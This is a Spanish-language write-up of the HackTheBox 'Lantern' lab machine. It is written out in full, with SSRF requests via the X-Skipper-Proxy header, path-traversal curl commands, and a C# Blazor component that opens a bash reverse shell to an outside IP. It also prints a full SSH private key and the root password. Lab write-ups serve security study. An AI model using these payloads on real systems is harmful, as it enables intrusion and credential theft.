write up Lantern HTB
“Lantern” es una máquina de dificultad difícil en la plataforma HackTheBox. Esta máquina nos enseña a explotar una vulnerabilidad de tipo Server-Side Request Forgery (SSRF) en un proxy Skipper cuya versión es susceptible a la CVE-2022-38580. Además, nos permite descubrir credenciales al acceder a archivos expuestos de un servicio Blazor interno. Finalmente, aprendemos a utilizar ProcMon, una herramienta de monitoreo, para capturar credenciales que son ejecutadas por un script, credenciales que pertenecen al usuario root.
lo primero como siempre el escaneo de nmap
nmap -p- --open --min-rate 5000 -sT -vvv -n -Pn 10.10.11.29 -oG allports
nmap -sVC -p22,80,3000 10.10.11.29 -oN ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 16:58 CET
Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:01 (0:02:00 remaining)
Stats: 0:01:19 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:01 (0:02:10 remaining)
Stats: 0:01:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:02 (0:02:40 remaining)
Nmap scan report for 10.10.11.29
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Sun, 01 Dec 2024 15:58:49 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Sun, 01 Dec 2024 15:58:43 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Sun, 01 Dec 2024 15:58:44 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Sun, 01 Dec 2024 15:58:48 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Sun, 01 Dec 2024 15:58:53 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sun, 01 Dec 2024 15:58:48 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Sun, 01 Dec 2024 15:58:54 GMT
| Server: Kestrel
| SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sun, 01 Dec 2024 15:59:09 GMT
| Server: Kestrel
| TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sun, 01 Dec 2024 15:59:10 GMT
|_ Server: Kestrel
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/1%Time=674C87B3%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,\x2001\x20D
SF:ec\x202024\x2015:58:43\x20GMT\r\nLocation:\x20http://lantern\.htb/\r\nS
SF:erver:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>
SF:\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\
SF:x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x
SF:20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</a>\
SF:.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP/1\
SF:.0\x20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length
SF::\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,
SF:\x2001\x20Dec\x202024\x2015:58:44\x20GMT\r\nServer:\x20Skipper\x20Proxy
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\x20
SF:Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:58:49\x20GM
SF:T\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20la
SF:ng=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>T
SF:he\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\
SF:x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x2
SF:0your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(He
SF:lp,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.94SVN%I=7%D=12/1%Time=674C87B8%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,114E,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nCo
SF:nnection:\x20close\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Date:\x20Sun,\x2001\x20Dec\x202024\x2015:58:48\x20GMT\r\nServer:\x20Kes
SF:trel\r\n\r\nSystem\.UriFormatException:\x20Invalid\x20URI:\x20The\x20ho
SF:stname\x20could\x20not\x20be\x20parsed\.\n\x20\x20\x20at\x20System\.Uri
SF:\.CreateThis\(String\x20uri,\x20Boolean\x20dontEscape,\x20UriKind\x20ur
SF:iKind,\x20UriCreationOptions&\x20creationOptions\)\n\x20\x20\x20at\x20S
SF:ystem\.Uri\.\.ctor\(String\x20uriString,\x20UriKind\x20uriKind\)\n\x20\
SF:x20\x20at\x20Microsoft\.AspNetCore\.Components\.NavigationManager\.set_
SF:BaseUri\(String\x20value\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Co
SF:mponents\.NavigationManager\.Initialize\(String\x20baseUri,\x20String\x
SF:20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Components\.Server\.C
SF:ircuits\.RemoteNavigationManager\.Initialize\(String\x20baseUri,\x20Str
SF:ing\x20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Mvc\.ViewFeature
SF:s\.StaticComponentRenderer\.<InitializeStandardComponentServicesAsync>g
SF:__InitializeCore\|5_0\(HttpContext\x20httpContext\)\n\x20\x20\x20at\x20
SF:Microsoft\.AspNetCore\.Mvc\.ViewFeatures\.StaticC")%r(Help,78,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20cl
SF:ose\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:58:48\x20GMT\r\nServer:
SF:\x20Kestrel\r\n\r\n")%r(HTTPOptions,6F,"HTTP/1\.1\x20200\x20OK\r\nConte
SF:nt-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x
SF:202024\x2015:58:53\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(RTSPRequest
SF:,87,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nContent
SF:-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x20
SF:2024\x2015:58:54\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(SSLSessionReq
SF:,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:59:09\x20G
SF:MT\r\nServer:\x20Kestrel\r\n\r\n")%r(TerminalServerCookie,78,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20clo
SF:se\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:59:10\x20GMT\r\nServer:\
SF:x20Kestrel\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.02 seconds
/home/z/l/nmap ✔ took 1m 49s with
vemos un dominio lantern.htb por lo que lo añadimos a el /etc/hosts
tambien vemos que en el puerto 3000 hay tambien un servicio http corriendo por lo que vamos a ver con whatweb que hay por hay:
whatweb 10.10.11.29
no me da ningun dominio lo que es interesante
pero bueno al caso. vamos a ir a http://lantern.htb
trasteando un poco con la web no veo mucho mas que algunos correos y demas
por lo que voy a usar gobuster a ver si me encuntra algo mas interesante:
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://lantern.htb -t 30 -x php
no vemos practicamente nada
por lo que vamos a la pagina del puerto 3000
vemos un panel de login pero no podemos hacer nada con el
por lo que a seguir buscando
si hacemos un whatweb vemos lo siguiente
vemos Skipper proxy. si buscamos CVEs de este encontramos uno interesante
https://nvd.nist.gov/vuln/detail/CVE-2022-38580
y que tiene respaldo en exploid db
https://www.exploit-db.com/exploits/51111
Esta es una vulnerabilidad Server-Side Request Forgery (SSRF) y basicamente consiste en esto
abrimos burpsuite y capturamos la peticion de nada mas entrar a la pagina web normal del puerto 80:
 --mc 200
perdonar que salga asi pero no se que le pasa a mi ffuf pero al caso salen 2 puertos nuevo el 5000 y el 8000
si hacemos referencia a el 5000 vemos los siguiente
al final del todo hace referncia un script javascript
al cual si intentamos acceder de forma normal/externa
wget http://lantern.htb/_framework/blazor.webassembly.js
no nos deja pero sin embargo si lo hacemos de esta manera
wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.webassembly.js
si que emos podido
usando https://beautifier.io/ lo dejamos leguible y es larguisimo por lo que solo voy a poner la parte importante
class Ue {
constructor(e, t) {
this.bootConfig = e, this.applicationEnvironment = t
}
static async initAsync(e, t) {
const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json"),
r = n instanceof Promise ? await n : await a(null != n ? n : "_framework/blazor.boot.json"),
o = t || r.headers.get("Blazor-Environment") || "Production",
s = await r.json();
return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new Ue(s, o);
async function a(e) {
return fetch(e, {
method: "GET",
credentials: "include",
cache: "no-cache"
})
}
}
vemos que hace referencia a otro archivo _framework/blazor.boot.json
con curl podemos verlo
curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000"
añadir que salen un monton de archivos .dll y informacion que molesta por lo que voy a filtrar con grep por .dll
curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000" | grep .dll
justamente el ultimo se sale de lo normal
vamos a intentar descargarlo con wget
wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll
https://github.com/icsharpcode/AvaloniaILSpy/releases/tag/v7.2-rc
al abrirlo encontraremos algunos base 64 que al descifrarlos dan como resultado lo siguiente
for encoded in $(cat encoded_dll_info.txt); do echo $encoded | base64 -d; echo; done
Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
vemos credenciales
que si probamos en el puerto 3000
tenemos acceso
en el apartado de files vemos un codigo .py :
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
basicamente esto esta corriendo flask por el otro puerto que encontramos, el 8000
tambien vemos que en
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
no se esta aplicando ninguna sanatizacion por lo que podria intentar un Directory Traversal
para probar vamos a intentar ver el etc/passwd:
curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../../&ext=./etc/passwd'
vemos entre todo eso un usuario tomas
pero si intentamos ir a por el id_rsa:
curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../../&ext=./.ssh/id_rsa'
no vemos nada
por lo que no nos sirve de mucho
de vuelta a lapagina del puerto 3000 vemos cosas curiosas
vemos que solo busca archivos .dll
y que podemos subir archivos por lo que se me ocurre crear un archivo .dll malicioso
Ahora, crearemos un archivo C#
malicioso (ya que Blazor
, el servicio corriendo el servidor web, usa C#
). Primero, creamos un proyecto usando dotnet
:
dotnet new classlib -n revshell
Luego, instalamos los paquetes necesarios:
dotnet add package Microsoft.AspNetCore.Components --version
Entramos en el directorio llamado revshell
y editamos el archivo Class1.cs
con el contenido:
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace revshell{
public class Component : ComponentBase{
protected override void BuildRenderTree(RenderTreeBuilder __builder){
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "/bin/bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.72/443 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream){
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
Finalmente, creamos el archivo .dll:
dotnet build -c release
POST /_blazor?id=tVCAQun74z6Qp99JNsu8rg HTTP/1.1
Host: lantern.htb:3000
Content-Length: 172
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://lantern.htb:3000
Referer: http://lantern.htb:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
ªÀ·BeginInvokeDotNetFromJS¡4À¬NotifyChangeÙz`{"id":3,"lastModified":"2024-10-30T00:23:16.470Z","name":"UAC_1.png","size":59370,"contentType":"image/png","blob":{}}`
Pero algunos caracteres de la petición no son legibles. Tratamos entonces de subir el archivo .dll
y revisar en el historial la petición por POST
donde éste ha sido subido. Recomiendo pasar esta petición al Repeater
de Burpsuite
ya que necesitaremos esta petición que sube un archivo más tarde. Ahora es donde entra en juego el plugin de Blazor
para Burpsuite
. Realizamos click derecho sobre la petición del historial, vamos a Extensions
y enviamos el body a BTP
(que es como se llama el plugin):
Si el plugin está instalado y activo, en la parte superior derecha deberíamos de tener una pestaña llamada BTP
. El body que hemos enviado anteriormente debería de estar allí. Seleccionamos la opción Blazor->JSON
y clickeamos en Deserialize
:
Podemos entonces modificar el objeto JSON
en el panel de la parte derecha. En este caso, ponemos como nombre ../../../../../../../opt/components/revshell.dll
para intentar subir un archivo a esta ruta. De manera que el JSON
con el payload es:
[{
"Target": "BeginInvokeDotNetFromJS",
"Headers": 0,
"Arguments": [
"3",
"null",
"NotifyChange",
2,
`{
"blob": {},
"size": 5120,
"name": "../../../../../../../../opt/components/revshell.dll",
"id": 2,
"lastModified": "2024-11-14T05:54:19.455Z",
"contentType": "application/x-msdownload"
}`
],
"MessageType": 1
}]
Copiamos su contenido y clickeamos en Clear
. Luego, cambiamos el método a JSON->Blazor
y clickeamos en Serialize
:
La parte importante es el payload serializado en el panel derecho. Lo copiamos. Podemos entonces ir a la petición que habíamos enviado al Repeater
y pasar el payload serializado manipulado en lugar de subir la imagen (es decir, la petición modificada para subir el archivo .dll
). No olvidar empezar un listener con netcat
.
Si esto ha funcionado el archivo debería de haber sido subido. Es por ello que en el portal corriendo Blazor
buscamos por el módulo revshell
:
y en nuestro listener con netcat
obtenemos algo:
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.29] 56360
bash: cannot set terminal process group (6714): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$ whoami
whoami
tomas
tomas@lantern:~/LanternAdmin$
Este usuario también tiene una key id_rsa
para SSH
:
tomas@lantern:~/LanternAdmin$ cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
La guardamos en nuestra máquina de atacante, le damos permisos de ejecución y la usamos para conectarnos a través de SSH
como el usuario thomas
:
chmod 600 tomas_id_rsa # save the key
ssh -i tomas_id_rsa tomas@10.10.11.29
You have mail.
Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46
tomas@lantern:~$
root
una vez dentro si nos ponemos a mirar veremos que en el directorio /var/mail hay una nota
esta nos dice que hay un script en root
el problema es que como el usuario tomas no tenemos acceso:
ya que estamos vamos a ver que podemos hacer con sudo -l
esto es una herramienta de monitoreo para windows que no sabia que tenia version para linux la verdad
vale pues vamos a ver por donde se esta ejecutando el archivo de root y su PID y lo monitorizamos
ps aux | grep "\.sh"| grep root
para monitorearlo vamos a usar el siguiente comando:
sudo /usr/bin/procmon -p 7272 -e write
(NOTA: NO USES KITTY PARA ESTO PORQUE POR LO QUE SEA SUELTA UN ERROR PERO POR EJEMPLO CON GNOME TERMINAL SI QUE FUNCIONA)
lo dejamos un ato funcionando
una vez echo F6 y F9 y se nos genera un archivo .db
Pasamos este archivo a nuestra máquina de atacante (usando scp
, por ejemplo) y usamos SQLite
para analizarla:
sqlite> .tables
ebpf metadata stats
Hay una columna llamada ebpf
. Buscando qué es lo que es esto tenemos, encontramos:
Información
Extended Berkeley Packet Filter
(eBPF
) is a Linux
kernel technology enabling engineers to build programs that run securely in kernel space. eBPF
can be used to inspect, filter, and monitor network traffic.
Es decir, estos son los datos que pueden ser usados para monitorear tráfico.
Leyendo el contenido de esta tabla retorna:
sqlite> PRAGMA table_info(ebpf);
0|pid|INT|0||0
1|stacktrace|TEXT|0||0
2|comm|TEXT|0||0
3|processname|TEXT|0||0
4|resultcode|INTEGER|0||0
5|timestamp|INTEGER|0||0
6|syscall|TEXT|0||0
7|duration|INTEGER|0||0
8|arguments|BLOB|0||0
sqlite> select * from ebpf;
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|25511746524120|write|16581|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|34715|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|73939|
La cosa yace en que la tabla tiene 9 columnas (de la 0
a la 8
), pero sólo somos capaces de ver 9 columnas.
Podríamos tratar de escribir toda la data que existe (los cuales podrían ser blobs) en un archivo. Para ello ejecutamos:
sqlite> .output result.txt
sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
Program interrupted.
Donde hemos presionado Ctrl+C
para salir de SQLite
y escribir los datos en un archivo llamado result.txt
. Este archivo tiene bastantes líneas y datos que son, aparentemente, ilegibles:
❯ wc -l result.txt
2651 result.txt
❯ head result.txt
1B5B3F32356C
1B5B3F323568
08
2051
20
1B5B3F32356C
1B5B3F323568
33
33
1B5B3F32356C
Esta última columna contiene datos en hexadecimal (algo bugeados, eso sí). Por lo que podemos tratar de visualizarlos utilizando nuestra terminal:
❯ cat result.txt | xxd -r -p | less -S
Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uuddoo [?25 . //bbaacckkuupp..sshh^M[?25l[4;37[?25l^Meecchh^Mecho[?25l [?25 Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uudd
los datos estan duplicados por lo que la contraseña seria Q3Eddtdw3pMB
tomas@lantern:~$ su root
Password: Q3Eddtdw3pMB
root@lantern:/home/tomas# whoami
root